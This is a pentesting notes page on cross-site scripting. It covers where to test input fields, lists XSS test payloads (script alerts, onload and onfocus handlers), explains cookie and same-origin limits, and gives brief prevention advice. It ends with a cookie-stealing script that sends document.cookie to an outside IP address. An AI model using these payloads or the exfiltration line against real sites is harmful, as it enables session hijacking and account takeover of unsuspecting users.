XSS
Cross Site Scripting
Last updated
Was this helpful?
Cross Site Scripting
Last updated
Was this helpful?
If injection attacks don't work then the next best thing to check are cross site attacks like XSS. Here we are still trying to either inject malicious commands into the database or, reflect them off the server. But rather than SQL commands we are now after the browser itself; attempting to execute either new HTML to the page during a dynamic load from the DB (or reflected off a server script), or by JS from a client side load, or a bit of both with a DOM based XSS. If we are able to edit the site in these ways then we may be able to make malicious requests. If parameter input is displayed on the site somewhere then there is a chance XSS is possible. With clever use this can get us the desired extraction or foothold.
Any where we can add input and it gets written to the page is a good place to test.
Common characters to check for are < > ' " { } ; Check the source to see if it was output raw.
Typically test input params with visual edits like <plaintext> or <h1>
Search boxes that show search query above results
Comment sections
Postings
Account modifications
Drop down menus and buttons
1) Try to do things like <h1>Test</h1> and see if the html is loaded and interpreted. Then try things like <script>alert('test');</script> You can also try swapping indocument.cookie. It can be helpful to view the page source after entering input to see how its being stored and possibly mangled if not working.
2) If you can store the above XSS that will be best but you can still utilize reflected XSS by sending it as a link.
Common XSS tests:
<plaintext>
<h1>hello</h1>
<script>alert('XSS')</script>
<body onload="alert('XSS')">
expectedVal" onload="javascript:alert('XSS')"
val"; onfocus=alert('XSS');"
onload="alert(String.fromCharCode(88,83,83))"
If this👆 does not work we can try different encoding techniques.
DOM XSS does not follow SOP rules.
Its important to know what (sub)domain the auth cookies are set to. Any XSS vuln that is to steal that cookie must be of the same (sub)domain and path if set in the cookie. For cookie steeling, only JS or VBscript within the SOP can read the cookie. Therefore attacker hosted cookie steeling scripts don't work. Also the cookie itself must not have the httpOnly flag set as this will not allow us to obtain it with JS.
Find all the places where data is output to the screen and then trace it back to find where the data came from. If part of it was user input then we want to see if it can be modified to bypass any sanitation. Or if it comes from a DB we need to consider that things may have gotten into the DB unsanitized and may have an XSS vector. Look for things like:
document.body.innerHTML
Even with limited payload sizes, it may be possible to use XSS to inject a link to an external JavaScript file, bypassing the size restriction. We have already mentioned redirects and client-side attacks. Other examples of XSS payloads include keystroke loggers, phishing attacks, port scanning, and content scrapers/skimmers. Kali Linux includes BeEF, the Browser Exploitation Framework, that can leverage a simple XSS vulnerability to launch many different client-side attacks.
The best thing a WebDev can do to prevent XSS attacks is to use anti-xss libraries for there web languages. It is also important to follow the guidelines in the libraries docs. Because some defenses of the library maybe broken if the developer implements them incorrectly.. for example using a GET rather than a POST to modify data.
Filter input as much as possible for the corresponding field.
Ensure content rendering is done in line with language expectations and recommendations.
JS script SESSION/COOKIES STEALING:
<script>new Image().src="http://192.168.1.2/cool.jpg?output"+document.cookie;</script>
This works until the user logs out, closes the browser, timed session dies. Also note that the cookie must have the right flags (no httpOnly, secure(ssl)) and must be within the .